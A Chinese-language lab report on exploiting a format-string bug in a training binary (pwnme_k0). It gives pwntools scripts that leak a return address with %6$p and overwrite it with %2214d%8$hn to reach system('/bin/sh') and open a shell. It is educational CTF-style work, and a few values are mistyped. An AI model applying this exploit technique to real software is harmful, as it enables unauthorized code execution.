漏洞分析技术实验三

实验目的

掌握格式化字符串漏洞的原理以及在漏洞利用中的应用.

实验条件

  1. 操作系统:Linux
  2. 语言环境:python
  3. 调试器:gdb、IDA Pro

实验原理

利用格式化字符串修改返回地址,以在函数返回时获取shell。

实验步骤

  1. 检查保护,发现开启了RELRONX保护;

  2. 通过IDA进行反编译,发现在函数sub_400B07中存在格式化字符串漏洞,分析是由printf(buf)造成的;

  3. 查看函数sub_400B07中的汇编语句

  4. 发现printf只压入了一个格式化的format参数,没有其它参数,下述根据程序运行过程可知,sub_400B07函数用于执行选项1,查看用户信息;

    1
    2
    3
    1.Sh0w Account Infomation!	#查看用户信息,不需要参数
    2.Ed1t Account Inf0mation! #编辑用户信息,需要参数
    3.QUit sangebaimao:( #退出
  5. 使用gdb在0x400B28处下断点进行调试,输入用户名、密码为qq,选择选项1,运行到断点出;


    发现要执行的命令为call 0x400770,而0x400770GOT表中printf函数

  6. 根据64位系统的特征,前六个参数会依次存放在rdirsirdxrcxr8r9中,之后的参数才存放在栈上,因为rdi中存放了format参数,所以rsi存放了printf函数的第1个实际参数,r9存放了第5个实际参数,那么栈顶第一个元素就是第6个实际参数,因此通过构造username的值为%6$p,将栈顶的第一个元素输出;

  7. 根据上图调试栈中的内容,0x7fffffffddb8是栈顶第二个元素,存放了返回地址,而栈顶第一个元素存放了一个地址0x74ffffffddf0,后者减去前者得到0x38,因此只要泄露栈顶内容,再减去0x38,即可得到函数返回地址在栈中的位置,进而进行覆盖;

  8. 构造脚本如下,即可找到泄露出的返回地址在栈中的位置为0x7ffd6ee4a728(每次运行返回地址都在变化);

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    from pwn import *
    r = process("./pwnme_k0")
    r.recv()
    r.sendline("%6$p")
    r.recv()
    r.sendline("mypassword")
    r.recv() r.sendline("1")
    r.recvuntil("0x")
    retn_addr = int(r.recvline().strip(), 16) - 0x38
    print "retn_addr = " + hex(retn_addr)

  9. 分析栈中内容,发现username相当于printf的第8个参数,想要把返回地址覆盖,可以使用% num $ hn,就是把本次输出的字节数写入到第num个参数指向的位置

  10. 从IDA中很明显可以找到system(“/bin/sh”)的地址为0x4008a6

  11. 因此,只需要编辑用户资料,将username改为函数返回地址(栈顶的第二个元素),将password改为%2214d%8$hn,即把0x08a6写入到username指向的位置(0x086a==2214d),改完后查看用户资料,调出/bin/sh

  12. 脚本如下;

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    from pwn import *
    p = process("./pwnme_k0")
    #泄露返回地址
    p.recv()
    p.sendline("%6$p")
    p.recv()
    p.sendline("mypassword")
    p.recv()
    p.sendline("1")
    p.recvuntil("0x")
    retn_addr = int(p.recvline().strip(),16)-0x38
    print "retn_addr="+hex(retn_addr)
    #利用%num$hn覆写返回地址
    p.recv()
    p.sendline("2")
    p.recv()
    p.sendline(p64(retn_addr))
    p.recv()
    p.sendline("%2214d%8$hn")
    #查看用户资料从而调用/bin/sh
    p.recv()
    p.sendline("1")
    p.recv()
    p.interactive()
  13. 执行脚本,成功getshell.